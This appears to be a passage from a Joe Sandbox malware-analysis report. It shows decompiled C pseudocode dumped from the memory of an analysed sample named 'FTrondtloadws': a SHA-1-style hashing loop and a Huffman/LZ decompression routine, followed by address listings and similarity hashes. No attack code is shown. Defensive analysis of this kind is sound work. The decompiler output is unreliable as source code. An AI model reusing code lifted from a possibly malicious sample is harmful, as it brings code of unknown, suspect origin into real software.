					_v8 = _t807;
					_t902 = _t511 & 0x0000000f;
					_t870 = _t840[_t206 & 0x0000000f] ^ _t840[_t866 & 0x0000000f] ^ _t840[_t902] ^ _t840[_t807];
					asm("rol esi, 1");
					_t840[_t807] = _t870;
					asm("ror dword [esp+0x1c], 0x2");
					asm("rol edx, 0x5");
					_t871 = 0xf;
					_v24 = _v28 - 0x70e44324 + ((_v36 | _v32) & _v40 | _v36 & _v32) + _t870 + _t602;
					_t518 = _v16;
					_t604 = _t518 + 0x00000006 & _t871;
					_t810 = _t518 + 0x00000004 & _t871;
					_v12 = _t810;
					_t875 = _t840[_t518 - 0x00000004 & _t871] ^ _t840[_t518 + 0x00000001 & _t871] ^ _t840[_t810] ^ _t840[_t604];
					asm("rol esi, 1");
					_t840[_t810] = _t875;
					_t844 = _v28;
					asm("rol edx, 0x5");
					asm("ror edi, 0x2");
					_v28 = _t844;
					_t812 = _v20;
					_v40 = _v24 - 0x70e44324 + ((_v32 | _t844) & _v36 | _v32 & _t844) + _t875 + _v40;
					_t525 = _v16;
					_t846 = _t525 + 0x00000007 & 0x0000000f;
					_t879 =  *(_t812 + (_t525 - 0x00000003 & 0x0000000f) * 4) ^  *(_t812 + (_t525 + 0x00000002 & 0x0000000f) * 4) ^  *(_t812 + _t846 * 4) ^  *(_t812 + _t902 * 4);
					asm("rol esi, 1");
					 *(_t812 + _t902 * 4) = _t879;
					asm("rol edx, 0x5");
					_t903 = _v24;
					asm("ror ebp, 0x2");
					_t815 = _v40 + 0x8f1bbcdc + ((_t903 | _v28) & _v32 | _t903 & _v28) + _t879 + _v36;
					_v24 = _t903;
					_t904 = _v20;
					_v36 = _t815;
					asm("rol edx, 0x5");
					_t883 =  *(_t904 + (_v16 - 0x00000008 & 0x0000000f) * 4) ^  *(_t904 + (_v16 + 0xfffffffe & 0x0000000f) * 4) ^  *(_t904 + _v8 * 4) ^  *(_t904 + _t604 * 4);
					asm("rol esi, 1");
					 *(_t904 + _t604 * 4) = _t883;
					_t602 = _v24;
					asm("ror dword [esp+0x10], 0x2");
					_t816 = _t815 + ((_t602 | _v40) & _v28 | _t602 & _v40) + 0x8f1bbcdc + _t883 + _v32;
					_v32 = _t816;
					asm("rol edx, 0x5");
					_t887 =  *(_t904 + (_v16 - 0x00000007 & 0x0000000f) * 4) ^  *(_t904 + (_v16 - 0x00000001 & 0x0000000f) * 4) ^  *(_t904 + _v12 * 4) ^  *(_t904 + _t846 * 4);
					asm("rol esi, 1");
					 *(_t904 + _t846 * 4) = _t887;
					_t905 = _v36;
					asm("ror ebp, 0x2");
					_v36 = _t905;
					_t309 = _t816 - 0x70e44324; // -4294967294
					_t866 = _v4;
					_v28 = _t309 + ((_v40 | _t905) & _t602 | _v40 & _t905) + _t887 + _v28;
					_v16 = _t866;
					if(_t866 + 3 > 0x37) {
						break;
					}
					_t840 = _v20;
				}
				_t817 = 0x39;
				_v16 = _t817;
				_t847 = _t602;
				do {
					_t315 = _t817 + 5; // 0x3e
					_t545 = _t315;
					_v8 = _t545;
					_t317 = _t817 + 3; // 0x3c
					_t318 = _t817 - 5; // 0x34
					_t888 = 0xf;
					_t907 = _t317 & _t888;
					_t606 = _t545 & _t888;
					_t889 = _v20;
					_v4 = _t907;
					_t821 =  *(_t889 + (_t318 & _t888) * 4) ^  *(_t889 + (_t817 & _t888) * 4) ^  *(_t889 + _t907 * 4) ^  *(_t889 + _t606 * 4);
					asm("rol edx, 1");
					 *(_t889 + _t907 * 4) = _t821;
					_t908 = _v32;
					asm("rol ecx, 0x5");
					asm("ror ebp, 0x2");
					_v32 = _t908;
					_v24 = (_v40 ^ _v36 ^ _t908) + _t821 + _t847 + _v28 + 0xca62c1d6;
					_t554 = _v16;
					_t822 = 0xf;
					_t849 = _t554 + 0x00000006 & _t822;
					_t910 = _t554 + 0x00000004 & _t822;
					_t826 =  *(_t889 + (_t554 - 0x00000004 & _t822) * 4) ^  *(_t889 + (_t554 + 0x00000001 & _t822) * 4) ^  *(_t889 + _t910 * 4) ^  *(_t889 + _t849 * 4);
					asm("rol edx, 1");
					 *(_t889 + _t910 * 4) = _t826;
					_t890 = _v28;
					asm("rol ecx, 0x5");
					_v40 = (_v36 ^ _v32 ^ _t890) + _t826 + _v40 + _v24 + 0xca62c1d6;
					_t563 = _v16;
					asm("ror esi, 0x2");
					_v28 = _t890;
					_t892 = _t563 + 0x00000007 & 0x0000000f;
					_t746 = _v20;
					_t831 = _v20[_t563 - 0x00000003 & 0x0000000f] ^  *(_t746 + (_t563 + 0x00000002 & 0x0000000f) * 4) ^  *(_t746 + _t892 * 4) ^  *(_t746 + _t606 * 4);
					asm("rol edx, 1");
					 *(_t746 + _t606 * 4) = _t831;
					_t607 = _v24;
					asm("rol ecx, 0x5");
					asm("ror ebx, 0x2");
					_v24 = _t607;
					_t608 = _v20;
					_v36 = (_t607 ^ _v32 ^ _v28) + _t831 + _v36 + _v40 + 0xca62c1d6;
					asm("rol ecx, 0x5");
					_t835 = _t608[_v16 - 0x00000008 & 0x0000000f] ^ _t608[_v16 + 0xfffffffe & 0x0000000f] ^ _t608[_v4] ^ _t608[_t849];
					asm("rol edx, 1");
					_t608[_t849] = _t835;
					_t847 = _v24;
					asm("ror dword [esp+0x10], 0x2");
					_v32 = (_t847 ^ _v40 ^ _v28) + _t835 + _v32 + _v36 + 0xca62c1d6;
					_t839 = _t608[_v16 - 0x00000007 & 0x0000000f] ^ _t608[_v16 - 0x00000001 & 0x0000000f] ^ _t608[_t892] ^ _t608[_t910];
					_t911 = _v36;
					asm("rol edx, 1");
					_t608[_t892] = _t839;
					_t609 = _v40;
					_t893 = _v32;
					asm("ror ebp, 0x2");
					_t817 = _v8;
					asm("rol ecx, 0x5");
					_v36 = _t911;
					_t757 = _t893 + 0xca62c1d6 + (_t847 ^ _t609 ^ _t911) + _t839 + _v28;
					_v16 = _t817;
					_v28 = _t757;
				} while (_t817 + 3 <= 0x4b);
				_t591 = _a4;
				_t591[1] = _t591[1] + _t893;
				_t591[2] = _t591[2] + _t911;
				_t591[3] = _t591[3] + _t609;
				 *_t591 =  *_t591 + _t757;
				_t591[4] = _t591[4] + _t847;
				return _t591;
			}

0x00cd0780
0x00cd078c
0x00cd0798
0x00cd07a2
0x00cd07a7
0x00cd07ac
0x00cd078e
0x00cd078e
0x00cd0792
0x00cd0792
0x00cd07af
0x00cd07b8
0x00cd07bb
0x00cd07bd
0x00cd07c7
0x00cd07cd
0x00cd07d1
0x00cd07d5
0x00cd07ed
0x00cd07f9
0x00cd07fd
0x00cd07ff
0x00cd0801
0x00cd0805
0x00cd0809
0x00cd080c
0x00cd0810
0x00cd0813
0x00cd081e
0x00cd0823
0x00cd083d
0x00cd0842
0x00cd084d
0x00cd085a
0x00cd085f
0x00cd0873
0x00cd087a
0x00cd0884
0x00cd0891
0x00cd089a
0x00cd08aa
0x00cd08b6
0x00cd08b8
0x00cd08c3
0x00cd08c8
0x00cd08cb
0x00cd08df
0x00cd08e6
0x00cd08ed
0x00cd08f6
0x00cd08fa
0x00cd08fe
0x00cd0909
0x00cd090c
0x00cd090f
0x00cd091b
0x00cd092d
0x00cd0930
0x00cd0932
0x00cd094c
0x00cd094f
0x00cd0965
0x00cd0968
0x00cd096b
0x00cd096f
0x00cd0973
0x00cd0980
0x00cd0983
0x00cd0985
0x00cd0987
0x00cd0993
0x00cd09b3
0x00cd09b6
0x00cd09b8
0x00cd09be
0x00cd09c1
0x00cd09c7
0x00cd09d0
0x00cd09d9
0x00cd09ec
0x00cd09f0
0x00cd09f6
0x00cd09f9
0x00cd09fe
0x00cd0a0a
0x00cd0a14
0x00cd0a19
0x00cd0a21
0x00cd0a26
0x00cd0a27
0x00cd0a2b
0x00cd0a2f
0x00cd0a33
0x00cd0a33
0x00cd0a36
0x00cd0a39
0x00cd0a40
0x00cd0a45
0x00cd0a4a
0x00cd0a51
0x00cd0a5b
0x00cd0a64
0x00cd0a67
0x00cd0a6b
0x00cd0a6f
0x00cd0a72
0x00cd0a7a
0x00cd0a8a
0x00cd0a93
0x00cd0a97
0x00cd0aa0
0x00cd0aa3
0x00cd0aa5
0x00cd0ab7
0x00cd0ac2
0x00cd0ac4
0x00cd0ac7
0x00cd0acd
0x00cd0ad2
0x00cd0ae5
0x00cd0aeb
0x00cd0aef
0x00cd0aff
0x00cd0b08
0x00cd0b12
0x00cd0b15
0x00cd0b17
0x00cd0b1e
0x00cd0b24
0x00cd0b33
0x00cd0b40
0x00cd0b46
0x00cd0b4e
0x00cd0b6f
0x00cd0b72
0x00cd0b75
0x00cd0b79
0x00cd0b7c
0x00cd0b82
0x00cd0b8e
0x00cd0b9b
0x00cd0b9f
0x00cd0ba9
0x00cd0bc2
0x00cd0bc9
0x00cd0bcd
0x00cd0bcf
0x00cd0bd2
0x00cd0bd7
0x00cd0bdd
0x00cd0be5
0x00cd0bf2
0x00cd0bf8
0x00cd0bff
0x00cd0c03
0x00cd0c0e
0x00cd0c0f
0x00cd0c19
0x00cd0c19
0x00cd0c19
0x00cd0c1c
0x00cd0c1f
0x00cd0c26
0x00cd0c2b
0x00cd0c30
0x00cd0c37
0x00cd0c45
0x00cd0c5c
0x00cd0c5e
0x00cd0c69
0x00cd0c6e
0x00cd0c71
0x00cd0c7a
0x00cd0c7e
0x00cd0c85
0x00cd0c8a
0x00cd0c91
0x00cd0ca1
0x00cd0caa
0x00cd0cac
0x00cd0caf
0x00cd0cc3
0x00cd0cca
0x00cd0ccd
0x00cd0cd7
0x00cd0cdd
0x00cd0ce1
0x00cd0cf1
0x00cd0d00
0x00cd0d03
0x00cd0d05
0x00cd0d0c
0x00cd0d0f
0x00cd0d2b
0x00cd0d38
0x00cd0d3a
0x00cd0d3e
0x00cd0d45
0x00cd0d4c
0x00cd0d65
0x00cd0d69
0x00cd0d6b
0x00cd0d6f
0x00cd0d83
0x00cd0d9a
0x00cd0d9f
0x00cd0da6
0x00cd0dbd
0x00cd0dc7
0x00cd0dc9
0x00cd0dcd
0x00cd0dd9
0x00cd0dde
0x00cd0de6
0x00cd0dec
0x00cd0df2
0x00cd0df6
0x00cd0e00
0x00000000
0x00000000
0x00cd0c15
0x00cd0c15
0x00cd0e08
0x00cd0e09
0x00cd0e0d
0x00cd0e0f
0x00cd0e0f
0x00cd0e0f
0x00cd0e14
0x00cd0e18
0x00cd0e1d
0x00cd0e22
0x00cd0e27
0x00cd0e29
0x00cd0e2b
0x00cd0e2f
0x00cd0e3e
0x00cd0e4d
0x00cd0e4f
0x00cd0e52
0x00cd0e5a
0x00cd0e5f
0x00cd0e68
0x00cd0e6e
0x00cd0e72
0x00cd0e76
0x00cd0e7d
0x00cd0e7f
0x00cd0e92
0x00cd0ea1
0x00cd0ea3
0x00cd0ea6
0x00cd0eae
0x00cd0ec1
0x00cd0ec5
0x00cd0ec9
0x00cd0ecc
0x00cd0edc
0x00cd0ee5
0x00cd0eef
0x00cd0ef2
0x00cd0ef4
0x00cd0efb
0x00cd0eff
0x00cd0f14
0x00cd0f1d
0x00cd0f21
0x00cd0f25
0x00cd0f47
0x00cd0f53
0x00cd0f56
0x00cd0f58
0x00cd0f5b
0x00cd0f69
0x00cd0f76
0x00cd0f93
0x00cd0f96
0x00cd0f9a
0x00cd0f9c
0x00cd0f9f
0x00cd0fa5
0x00cd0fad
0x00cd0fb6
0x00cd0fba
0x00cd0fc3
0x00cd0fc7
0x00cd0fc9
0x00cd0fd0
0x00cd0fd4
0x00cd0fdd
0x00cd0fe1
0x00cd0fe4
0x00cd0fe7
0x00cd0fea
0x00cd0fec
0x00cd0ff6

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e1f45ab47da09c2bf205417a02e37b578d8156a8cd0481afc2df3b64cdb0d8
Instruction ID: a8670baca81a459a983695f272dc0cb9effaa7ce40dafaeefb17a4e7927068f1
Opcode Fuzzy Hash: 61e1f45ab47da09c2bf205417a02e37b578d8156a8cd0481afc2df3b64cdb0d8
Instruction Fuzzy Hash: B2523A726187018FC718CF19C891A6AF7E1FFCC304F498A2DE9959B255D334EA19CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00CD8223 Relevance: .5, Instructions: 528
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E00CD8223(signed int __ecx) {
				void* __ebp;
				void* _t204;
				signed int* _t207;
				signed int _t209;
				signed int _t211;
				signed int _t212;
				signed int _t213;
				signed int _t216;
				signed int _t217;
				signed int _t218;
				signed short _t219;
				signed int _t222;
				signed int _t223;
				signed int _t224;
				signed int _t227;
				signed int _t228;
				signed int _t229;
				signed int _t230;
				signed int _t231;
				unsigned int _t235;
				signed int _t239;
				signed int _t242;
				signed int _t247;
				signed int _t251;
				signed int _t256;
				signed int _t257;
				signed int _t258;
				signed int _t261;
				signed int _t262;
				signed int _t263;
				signed int _t264;
				signed int _t268;
				signed int _t269;
				unsigned int _t270;
				signed int _t273;
				signed int _t274;
				signed int _t275;
				signed int _t276;
				signed int _t279;
				signed int _t280;
				signed short _t281;
				unsigned int _t285;
				unsigned int _t290;
				signed int _t295;
				signed short _t296;
				signed int _t300;
				signed int _t301;
				intOrPtr* _t306;
				signed int* _t307;
				signed int _t310;
				signed int _t313;
				signed int _t314;
				signed int _t315;
				signed int _t316;
				intOrPtr _t323;
				intOrPtr _t324;
				signed int _t325;
				signed int _t327;
				signed int _t329;
				void* _t331;
				signed int _t334;
				signed int _t335;
				signed int _t337;
				signed int _t339;
				void* _t341;
				signed int _t344;
				void* _t347;
				signed int _t350;
				signed int _t351;
				intOrPtr* _t353;
				void* _t354;
				signed int _t357;
				char* _t361;
				signed int _t365;
				void* _t367;
				signed int _t370;
				void* _t373;
				signed int _t376;
				signed int _t377;
				signed int _t380;
				void* _t382;
				signed int _t385;
				intOrPtr* _t387;
				void* _t388;
				signed int _t391;
				void* _t394;
				signed int _t398;
				intOrPtr* _t401;
				void* _t402;
				signed int _t405;
				void* _t408;
				signed int _t411;
				intOrPtr* _t415;
				void* _t416;
				signed int _t419;
				signed int* _t425;
				unsigned int _t427;
				unsigned int _t431;
				signed int _t434;
				signed int _t436;
				unsigned int _t438;
				unsigned int _t442;
				signed int _t445;
				signed int _t446;
				void* _t447;
				signed int _t448;
				intOrPtr* _t449;
				signed char _t450;
				signed int* _t452;
				signed int _t454;
				signed int _t457;
				signed int _t458;
				signed int _t459;
				signed int _t460;
				void* _t462;

				_t450 =  *(_t462 + 0x3c);
				 *(_t462 + 0x28) = __ecx;
				_t306 = _t450 + 0x18;
				_t449 = _t450 + 4;
				if( *((char*)(_t450 + 0x2c)) != 0) {
					L2:
					_t323 =  *_t306;
					_t204 =  *((intOrPtr*)(_t450 + 0x24)) + _t323;
					if( *_t449 <= _t204) {
						 *(_t450 + 0x4ad8) =  *(_t450 + 0x4ad8) & 0x00000000;
						_t207 =  *((intOrPtr*)(_t450 + 0x20)) - 1 + _t323;
						_t425 =  *((intOrPtr*)(_t450 + 0x4acc)) - 0x10;
						 *(_t462 + 0x14) = _t207;
						 *(_t462 + 0x10) = _t425;
						__eflags = _t207 - _t425;
						if(_t207 >= _t425) {
							_t452 = _t425;
							 *(_t462 + 0x10) = _t425;
						} else {
							_t452 = _t207;
							 *(_t462 + 0x10) = _t452;
						}
						_t307 = _t450 + 0x4ad4;
						while(1) {
							_t324 =  *_t449;
							 *(_t462 + 0x20) = _t307;
							__eflags = _t324 - _t452;
							if(_t324 < _t452) {
								goto L15;
							}
							__eflags = _t324 - _t207;
							if(__eflags > 0) {
								L94:
								return _t207;
							}
							if(__eflags != 0) {
								L12:
								__eflags = _t324 - _t425;
								if(_t324 < _t425) {
									L14:
									_t207 = _t450 + 0x4ad4;
									_t307 = _t207;
									 *(_t462 + 0x20) = _t207;
									__eflags = _t324 -  *((intOrPtr*)(_t450 + 0x4acc));
									if(_t324 >=  *((intOrPtr*)(_t450 + 0x4acc))) {
										L93:
										 *((char*)(_t450 + 0x4ad3)) = 1;
										goto L94;
									}
									goto L15;
								}
								__eflags =  *((char*)(_t450 + 0x4ad2));
								if( *((char*)(_t450 + 0x4ad2)) == 0) {
									goto L93;
								}
								goto L14;
							}
							_t207 =  *(_t450 + 8);
							__eflags = _t207 -  *((intOrPtr*)(_t450 + 0x1c));
							if(_t207 >=  *((intOrPtr*)(_t450 + 0x1c))) {
								goto L94;
							}
							goto L12;
							L15:
							_t325 =  *(_t450 + 0x4adc);
							__eflags =  *(_t450 + 0x4ad8) - _t325 - 8;
							if(__eflags > 0) {
								_t301 = _t325 + _t325;
								 *(_t450 + 0x4adc) = _t301;
								_push(_t301 * 0xc);
								_push( *_t307);
								_t460 = E00CE506E(_t325, _t425);
								__eflags = _t460;
								if(__eflags == 0) {
									E00CC773A(0xd030c4);
								}
								 *_t307 = _t460;
							}
							_t209 =  *(_t450 + 0x4ad8);
							_t454 = _t209 * 0xc +  *_t307;
							 *(_t462 + 0x24) = _t454;
							 *(_t450 + 0x4ad8) = _t209 + 1;
							_t211 = E00CCBC76(_t449, __eflags);
							_t212 =  *(_t450 + 0xb4);
							_t427 = _t211 & 0x0000fffe;
							__eflags = _t427 -  *((intOrPtr*)(_t450 + 0x34 + _t212 * 4));
							if(_t427 >=  *((intOrPtr*)(_t450 + 0x34 + _t212 * 4))) {
								_t327 = 0xf;
								_t213 = _t212 + 1;
								 *(_t462 + 0x1c) = _t327;
								__eflags = _t213 - _t327;
								if(_t213 >= _t327) {
									L27:
									_t329 =  *(_t449 + 4) +  *(_t462 + 0x1c);
									 *_t449 =  *_t449 + (_t329 >> 3);
									_t216 = 7;
									_t217 =  *(_t462 + 0x1c);
									 *(_t449 + 4) = _t329 & _t216;
									_t331 = 0x10;
									_t334 =  *((intOrPtr*)(_t450 + 0x74 + _t217 * 4)) + (_t427 -  *((intOrPtr*)(_t450 + 0x30 + _t217 * 4)) >> _t331 - _t217);
									__eflags = _t334 -  *((intOrPtr*)(_t450 + 0x30));
									asm("sbb eax, eax");
									_t218 = _t217 & _t334;
									__eflags = _t218;
									_t219 =  *(_t450 + 0xcb8 + _t218 * 2) & 0x0000ffff;
									goto L28;
								}
								_t415 = _t450 + 0x34 + _t213 * 4;
								while(1) {
									__eflags = _t427 -  *_t415;
									if(_t427 <  *_t415) {
										break;
									}
									_t213 = _t213 + 1;
									_t415 = _t415 + 4;
									__eflags = _t213 - 0xf;
									if(_t213 < 0xf) {
										continue;
									}
									goto L27;
								}
								 *(_t462 + 0x1c) = _t213;
								goto L27;
							} else {
								_t416 = 0x10;
								_t448 = _t427 >> _t416 - _t212;
								_t419 = ( *(_t448 + _t450 + 0xb8) & 0x000000ff) +  *(_t449 + 4);
								 *_t449 =  *_t449 + (_t419 >> 3);
								_t300 = 7;
								 *(_t449 + 4) = _t419 & _t300;
								_t219 =  *(_t450 + 0x4b8 + _t448 * 2) & 0x0000ffff;
								L28:
								_t335 = _t219 & 0x0000ffff;
								__eflags = _t335 - 0x100;
								if(_t335 >= 0x100) {
									__eflags = _t335 - 0x106;
									if(_t335 < 0x106) {
										__eflags = _t335 - 0x100;
										if(_t335 != 0x100) {
											__eflags = _t335 - 0x101;
											if(__eflags != 0) {
												 *_t454 = 3;
												 *(_t454 + 4) = _t335 - 0x102;
												_t222 = E00CCBC76(_t449, __eflags);
												_t223 =  *(_t450 + 0x2d78);
												_t431 = _t222 & 0x0000fffe;
												__eflags = _t431 -  *((intOrPtr*)(_t450 + 0x2cf8 + _t223 * 4));
												if(_t431 >=  *((intOrPtr*)(_t450 + 0x2cf8 + _t223 * 4))) {
													_t337 = 0xf;
													_t224 = _t223 + 1;
													 *(_t462 + 0x24) = _t337;
													__eflags = _t224 - _t337;
													if(_t224 >= _t337) {
														L86:
														_t339 =  *(_t449 + 4) +  *(_t462 + 0x24);
														 *_t449 =  *_t449 + (_t339 >> 3);
														_t227 = 7;
														_t228 =  *(_t462 + 0x24);
														 *(_t449 + 4) = _t339 & _t227;
														_t341 = 0x10;
														_t344 =  *((intOrPtr*)(_t450 + 0x2d38 + _t228 * 4)) + (_t431 -  *((intOrPtr*)(_t450 + 0x2cf4 + _t228 * 4)) >> _t341 - _t228);
														__eflags = _t344 -  *((intOrPtr*)(_t450 + 0x2cf4));
														asm("sbb eax, eax");
														_t229 = _t228 & _t344;
														__eflags = _t229;
														_t230 =  *(_t450 + 0x397c + _t229 * 2) & 0x0000ffff;
														L87:
														_t231 = _t230 & 0x0000ffff;
														__eflags = _t231 - 8;
														if(_t231 >= 8) {
															_t310 = (_t231 >> 2) - 1;
															_t434 = ((_t231 & 0x00000003 | 0x00000004) << _t310) + 2;
															 *(_t462 + 0x28) = _t434;
															__eflags = _t310;
															if(__eflags != 0) {
																_t235 = E00CCBC76(_t449, __eflags);
																_t347 = 0x10;
																_t434 =  *(_t462 + 0x28) + (_t235 >> _t347 - _t310);
																_t350 =  *(_t449 + 4) + _t310;
																 *_t449 =  *_t449 + (_t350 >> 3);
																_t239 = 7;
																_t351 = _t350 & _t239;
																__eflags = _t351;
																 *(_t449 + 4) = _t351;
															}
															_t307 =  *(_t462 + 0x20);
														} else {
															_t434 = _t231 + 2;
														}
														 *(_t454 + 2) = _t434;
														L33:
														_t425 =  *(_t462 + 0x14);
														_t207 =  *(_t462 + 0x18);
														_t452 =  *(_t462 + 0x10);
														continue;
													}
													_t353 = _t450 + 0x2cf8 + _t224 * 4;
													while(1) {
														__eflags = _t431 -  *_t353;
														if(_t431 <  *_t353) {
															break;
														}
														_t224 = _t224 + 1;
														_t353 = _t353 + 4;
														__eflags = _t224 - 0xf;
														if(_t224 < 0xf) {
															continue;
														}
														goto L86;
													}
													 *(_t462 + 0x24) = _t224;
													goto L86;
												}
												_t354 = 0x10;
												_t436 = _t431 >> _t354 - _t223;
												_t357 = ( *(_t436 + _t450 + 0x2d7c) & 0x000000ff) +  *(_t449 + 4);
												 *_t449 =  *_t449 + (_t357 >> 3);
												_t242 = 7;
												 *(_t449 + 4) = _t357 & _t242;
												_t230 =  *(_t450 + 0x317c + _t436 * 2) & 0x0000ffff;
												goto L87;
											}
											 *_t454 = 2;
											goto L33;
										}
										_push(_t462 + 0x30);
										E00CD516A( *((intOrPtr*)(_t462 + 0x2c)), _t449);
										 *(_t454 + 2) =  *(_t462 + 0x30) & 0x000000ff;
										 *(_t454 + 4) =  *(_t462 + 0x34);
										 *_t454 = 4;
										_t247 =  *(_t450 + 0x4ad8);
										_t361 = _t247 * 0xc +  *_t307;
										 *(_t450 + 0x4ad8) = _t247 + 1;
										 *((short*)(_t361 + 2)) =  *(_t462 + 0x3c) & 0x000000ff;
										 *_t361 = 4;
										 *((intOrPtr*)(_t361 + 4)) =  *((intOrPtr*)(_t462 + 0x38));
										goto L33;
									}
									_t251 = _t335 - 0x106;
									__eflags = _t251 - 8;
									if(__eflags >= 0) {
										_t313 = (_t251 >> 2) - 1;
										 *(_t462 + 0x1c) = ((_t251 & 0x00000003 | 0x00000004) << _t313) + 2;
										__eflags = _t313;
										if(__eflags == 0) {
											L38:
											_t314 = 7;
											L39:
											_t256 = E00CCBC76(_t449, __eflags);
											_t257 =  *(_t450 + 0xfa0);
											_t438 = _t256 & 0x0000fffe;
											__eflags = _t438 -  *((intOrPtr*)(_t450 + 0xf20 + _t257 * 4));
											if(_t438 >=  *((intOrPtr*)(_t450 + 0xf20 + _t257 * 4))) {
												_t315 = 0xf;
												_t258 = _t257 + 1;
												__eflags = _t258 - _t315;
												if(_t258 >= _t315) {
													L49:
													_t365 =  *(_t449 + 4) + _t315;
													 *_t449 =  *_t449 + (_t365 >> 3);
													_t261 = 7;
													 *(_t449 + 4) = _t365 & _t261;
													_t367 = 0x10;
													_t370 =  *((intOrPtr*)(_t450 + 0xf60 + _t315 * 4)) + (_t438 -  *((intOrPtr*)(_t450 + 0xf1c + _t315 * 4)) >> _t367 - _t315);
													__eflags = _t370 -  *((intOrPtr*)(_t450 + 0xf1c));
													asm("sbb eax, eax");
													_t262 = _t261 & _t370;
													__eflags = _t262;
													_t263 =  *(_t450 + 0x1ba4 + _t262 * 2) & 0x0000ffff;
													L50:
													_t264 = _t263 & 0x0000ffff;
													__eflags = _t264 - 4;
													if(_t264 >= 4) {
														_t457 = (_t264 >> 1) - 1;
														_t268 = ((_t264 & 0x00000001 | 0x00000002) << _t457) + 1;
														 *(_t462 + 0x28) = _t268;
														_t316 = _t268;
														__eflags = _t457;
														if(_t457 == 0) {
															L68:
															_t454 =  *(_t462 + 0x24);
															L69:
															_t269 =  *(_t462 + 0x1c);
															__eflags = _t316 - 0x100;
															if(_t316 > 0x100) {
																_t269 = _t269 + 1;
																__eflags = _t316 - 0x2000;
																if(_t316 > 0x2000) {
																	_t269 = _t269 + 1;
																	__eflags = _t316 - 0x40000;
																	if(_t316 > 0x40000) {
																		_t269 = _t269 + 1;
																		__eflags = _t269;
																	}
																}
															}
															 *(_t454 + 4) = _t316;
															_t307 =  *(_t462 + 0x20);
															 *_t454 = 1;
															 *(_t454 + 2) = _t269;
															goto L33;
														}
														__eflags = _t457 - 4;
														if(__eflags < 0) {
															_t270 = E00CCBC76(_t449, __eflags);
															_t373 = 0x10;
															_t316 = (_t270 >> _t373 - _t457) +  *(_t462 + 0x28);
															_t376 =  *(_t449 + 4) + _t457;
															 *_t449 =  *_t449 + (_t376 >> 3);
															_t273 = 7;
															_t377 = _t376 & _t273;
															__eflags = _t377;
															 *(_t449 + 4) = _t377;
															goto L68;
														}
														if(__eflags <= 0) {
															_t458 = 7;
														} else {
															_t285 = E00CD9947(_t449, __eflags);
															_t394 = 0x24;
															_t316 = (_t285 >> _t394 - _t457 << 4) +  *(_t462 + 0x28);
															_t398 =  *(_t449 + 4) + 0xfffffffc + _t457;
															 *_t449 =  *_t449 + (_t398 >> 3);
															_t458 = 7;
															 *(_t449 + 4) = _t398 & _t458;
														}
														_t274 = E00CCBC76(_t449, __eflags);
														_t275 =  *(_t450 + 0x1e8c);
														_t442 = _t274 & 0x0000fffe;
														__eflags = _t442 -  *((intOrPtr*)(_t450 + 0x1e0c + _t275 * 4));
														if(_t442 >=  *((intOrPtr*)(_t450 + 0x1e0c + _t275 * 4))) {
															_t459 = 0xf;
															_t276 = _t275 + 1;
															__eflags = _t276 - _t459;
															if(_t276 >= _t459) {
																L65:
																_t380 =  *(_t449 + 4) + _t459;
																 *_t449 =  *_t449 + (_t380 >> 3);
																_t279 = 7;
																 *(_t449 + 4) = _t380 & _t279;
																_t382 = 0x10;
																_t385 =  *((intOrPtr*)(_t450 + 0x1e4c + _t459 * 4)) + (_t442 -  *((intOrPtr*)(_t450 + 0x1e08 + _t459 * 4)) >> _t382 - _t459);
																__eflags = _t385 -  *((intOrPtr*)(_t450 + 0x1e08));
																asm("sbb eax, eax");
																_t280 = _t279 & _t385;
																__eflags = _t280;
																_t281 =  *(_t450 + 0x2a90 + _t280 * 2) & 0x0000ffff;
																goto L66;
															}
															_t387 = _t450 + 0x1e0c + _t276 * 4;
															while(1) {
																__eflags = _t442 -  *_t387;
																if(_t442 <  *_t387) {
																	break;
																}
																_t276 = _t276 + 1;
																_t387 = _t387 + 4;
																__eflags = _t276 - 0xf;
																if(_t276 < 0xf) {
																	continue;
																}
																goto L65;
															}
															_t459 = _t276;
															goto L65;
														} else {
															_t388 = 0x10;
															_t445 = _t442 >> _t388 - _t275;
															_t391 = ( *(_t445 + _t450 + 0x1e90) & 0x000000ff) +  *(_t449 + 4);
															 *_t449 =  *_t449 + (_t391 >> 3);
															 *(_t449 + 4) = _t391 & _t458;
															_t281 =  *(_t450 + 0x2290 + _t445 * 2) & 0x0000ffff;
															L66:
															_t316 = _t316 + (_t281 & 0x0000ffff);
															goto L68;
														}
													}
													_t316 = _t264 + 1;
													goto L69;
												}
												_t401 = _t450 + 0xf20 + _t258 * 4;
												while(1) {
													__eflags = _t438 -  *_t401;
													if(_t438 <  *_t401) {
														break;
													}
													_t258 = _t258 + 1;
													_t401 = _t401 + 4;
													__eflags = _t258 - 0xf;
													if(_t258 < 0xf) {
														continue;
													}
													goto L49;
												}
												_t315 = _t258;
												goto L49;
											}
											_t402 = 0x10;
											_t446 = _t438 >> _t402 - _t257;
											_t405 = ( *(_t446 + _t450 + 0xfa4) & 0x000000ff) +  *(_t449 + 4);
											 *_t449 =  *_t449 + (_t405 >> 3);
											 *(_t449 + 4) = _t405 & _t314;
											_t263 =  *(_t450 + 0x13a4 + _t446 * 2) & 0x0000ffff;
											goto L50;
										}
										_t290 = E00CCBC76(_t449, __eflags);
										_t408 = 0x10;
										 *(_t462 + 0x1c) =  *(_t462 + 0x1c) + (_t290 >> _t408 - _t313);
										_t411 =  *(_t449 + 4) + _t313;
										 *_t449 =  *_t449 + (_t411 >> 3);
										_t314 = 7;
										 *(_t449 + 4) = _t411 & _t314;
										goto L39;
									}
									 *(_t462 + 0x1c) = _t251 + 2;
									goto L38;
								}
								__eflags =  *(_t450 + 0x4ad8) - 1;
